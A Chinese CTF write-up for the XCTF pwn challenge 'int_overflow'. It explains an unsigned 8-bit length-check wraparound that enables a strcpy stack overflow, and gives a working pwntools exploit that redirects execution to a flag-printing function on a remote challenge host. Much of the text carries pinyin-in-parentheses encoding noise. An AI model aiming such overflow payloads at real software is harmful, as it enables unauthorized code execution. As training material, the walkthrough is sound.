攻防世界pwn int_overflow

checksec 查看保護(hù)機(jī)制

圖片.png

可直接使用棧溢出;基地址不變化;棧中數(shù)據(jù)有執(zhí)行權(quán)限;

分析思路

32位文件,按流程查看程序,main()無突破點(diǎn)。

進(jìn)入login(),限制username長(zhǎng)度最大0x19;限制passwd長(zhǎng)度最大0x199;

進(jìn)入check_passwd(),v3存儲(chǔ)passwd長(zhǎng)度,滿足if語句3<v3<=8可跳到else語句。

此處有突破點(diǎn):v3類型為unsigned __int8,,取值范圍0~255,而v3存儲(chǔ)的passwd最大為0x199,即409.遠(yuǎn)大于v3取值范圍。此處為典型整數(shù)溢出。

綜上:if語句中的v3范圍為(3,8]或[259,264] (最大為255,若使其溢出,則需再加四字節(jié),__int8 是指8bit)

溢出之后到達(dá)else語句,函數(shù)返回 strcpy(dest,s),dest為字符串拷貝目的棧,長(zhǎng)度為0x14。


圖片.png

在字符串中發(fā)現(xiàn)cat flag,屬于函數(shù) what_is_this(),地址為0x0804868B.

攻擊思路

可以利用棧溢出,令passwd直接覆蓋dest,直接使函數(shù)返回what_is_this()。

在字符拷貝過程中,輸入0x14個(gè)字符,可覆蓋函數(shù)返回地址,具體是否為0x14個(gè)字符,現(xiàn)在查看匯編語言:


圖片.png
圖片.png

在字符串拷貝前,先將拷貝原地址和目的地址壓入堆棧,在函數(shù)最開始?jí)喝雃bp變量,在函數(shù)結(jié)尾存在leave指令,在32位程序中,leave指令等于mov esp,ebp和pop ebp。即:在覆蓋函數(shù)返回地址前,還有一次出棧操作,數(shù)值4字節(jié)。即覆蓋之前還需將這4字節(jié)覆蓋。隨機(jī)選取數(shù)值262.
(what_is_this()函數(shù)的地址為4字節(jié))

262-0x14-4-4=234

或者,我在gdb中調(diào)試程序,在strcpy下斷點(diǎn),passwd填上‘a(chǎn)’*262,觀察到ebp值為4字節(jié)。


圖片.png

exp:

from pwn import*
sh=remote('111.198.29.45',39118)
sh.recvuntil('Your choice:')
flag=0x0804868B
sh.sendline('1')
sh.recvuntil('username:')
sh.sendline('z')
sh.recvuntil('passwd:')
payload='a'*0x14+'aaaa'+p32(flag)+'a'*234
sh.sendline(payload)
sh.interactive()

cyberpeace{2a2d92a084e034be9c3a03bbab4f149b}

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請(qǐng)通過簡(jiǎn)信或評(píng)論聯(lián)系作者。

相關(guān)閱讀更多精彩內(nèi)容

  • int_overflow 第一次寫pwn 下載附件查殼沒殼且是32位 main()函數(shù) login()函數(shù) 關(guān)鍵函...
    Const_L閱讀 1,337評(píng)論 0 1
  • 1.guess_num 用checksec查看文件屬性: 用64位的IDA打開: 因?yàn)間ets()函數(shù)不受輸入限制...
    呼嚕84閱讀 687評(píng)論 0 1
  • 就按照題目的難易程度寫 新手區(qū)沒有涉及到棧的相關(guān)知識(shí),幾乎是棧漏洞 get_shell 第一個(gè)題目比較簡(jiǎn)單 ida...
    Hexad閱讀 989評(píng)論 0 0
  • 計(jì)算機(jī)系統(tǒng)漫游 代碼從文本到可執(zhí)行文件的過程(c語言示例):預(yù)處理階段,處理 #inlcude , #defin...
    willdimagine閱讀 3,833評(píng)論 0 5
  • 五行經(jīng)絡(luò)瑜伽,是微瑜伽國學(xué)苑針對(duì)中高端客戶開發(fā)的一款將“中國傳統(tǒng)古法養(yǎng)生”與“印度瑜伽”的精髓相融的健體、養(yǎng)生“特...
    咥一碗水盆羊肉閱讀 651評(píng)論 0 0

友情鏈接更多精彩內(nèi)容